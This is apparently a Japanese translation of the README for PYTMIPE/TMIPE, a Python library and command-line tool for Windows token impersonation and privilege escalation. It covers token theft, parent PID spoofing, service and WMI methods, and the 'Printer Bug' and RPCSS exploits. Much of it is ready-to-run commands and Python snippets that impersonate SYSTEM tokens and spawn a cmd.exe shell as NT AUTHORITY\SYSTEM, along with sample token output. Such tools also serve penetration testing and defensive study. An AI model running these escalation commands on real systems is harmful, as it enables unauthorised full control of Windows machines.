
Windows上での権限昇格のためのトークン操作と偽装を行うPythonライブラリおよびクライアント
PYTMIPE(トークン操作と偽装による特権昇格のためのPythonライブラリ)は、Windowsトークンを操作し、偽装を管理してWindows上でより多くの特権を得るためのPython 3ライブラリです。TMIPE は、pytmipe ライブラリを使用するPython 3クライアントです。
スライド「Windows Token Manipulation, Impersonation & Privilege Escalation」(英語): link
MISC 112 の記事(フランス語): link
| 手法 | 必要な特権 | OS(網羅的ではない) | 直接のターゲット(最大) |
|---|---|---|---|
| トークン作成と偽装 | ユーザー名とパスワード | すべて | ローカル管理者 |
| トークン偽装/窃取 | SeDebugPrivilege | すべて | nt authority\system |
| 親PIDスプーフィング(ハンドル継承) | SeDebugPrivilege | >= Vista | nt authority\system |
| サービス(SCM) | ローカル管理者(UAC有効時は高整合性レベル) | すべて | nt authority\system またはドメインアカウント |
| WMIイベント | ローカル管理者(UAC有効時は高整合性レベル) | すべて | nt authority\system |
| 「Printer Bug」LPE | SeImpersonatePrivilege(サービスアカウント) | Windows 8.1、10、Server 2012R2/2016/2019 | nt authority\system |
| RPCSSサービスLPE | SeImpersonatePrivilege(サービスアカウント) | Windows 10、Server 2016/2019 | nt authority\system |
以下は__網羅的ではない__リストで、pytmipeライブラリに実装されている機能の一部を示しています:
ctypes が最大限使用されています。 pywin32 の多くの機能は、より良い移植性のために pytmipe で再開発され、pywin32 の使用を避けています。 ただし、タスクスケジューラモジュールは時間不足のため、まだ pywin32(より正確には pythoncom)を使用しています。 他のすべてのモジュールは ctypes のみを使用しています。
Pythonクライアント(tmipe という名前)の場合:
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
Pythonライブラリ(pytmipe という名前)については、ソースコードと例を参照してください。 通常、ソースコードは十分に文書化されています… ほとんどの関数は文書化されています。
__pyinstallerの例__とスタンドアロンについては、src/examples/ フォルダ内のファイルを参照してください。
最初のsystemトークンを偽装し、Pythonクライアント(tmipe)からsystemとしてcmd.exeプロンプトを取得する場合:
python.exe tmipe.py searchimpfirstsystem -vv
同じことをpytmipeライブラリを使って直接行うには、src/examples/searchAndImpersonateFirstSystemToken.py を参照してください:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
現在のWindowsユーザーが必要な権限を持っている場合、systemとしてcmd.exeプロンプトが開きます。 もちろん、このソースコードから pyinstaller を使用してスタンドアロンの実行可能ファイルを作成できます。
現在のプロセスで使用されているプライマリトークンと偽装トークンを取得する場合:
python.exe tmipe.py printalltokens --current --full --linked
出力:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
現在のスレッドからアクセス可能なすべてのトークンを、偽装が可能な場合のみPID別に取得する場合:
python.exe tmipe.py printalltokensbypid --imp-only
出力:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
この操作を pytmipe ライブラリで行いたい場合も簡単です:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
選択したトークンを偽装できます。
最初のステップとして、フィルタに従ってすべてのトークンを取得します(systemトークンと現在のスレッドで偽装可能なトークン):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
出力:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
この出力は、PID 2288(ihandle 118)にある偽装トークンを示しており、整合性レベルは system です。 次のコマンドでこの特定のトークンを偽装できます:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
このコマンドは nt authority\system として cmd.exe を開きます。
これは pytmipe ライブラリでも実行できます。 次のソースコードは、利用可能な最初の system トークンを偽装し、有効トークンを表示して、偽装を停止します:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
寄付で私の仕事を支援したい場合は、大変感謝します:
Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf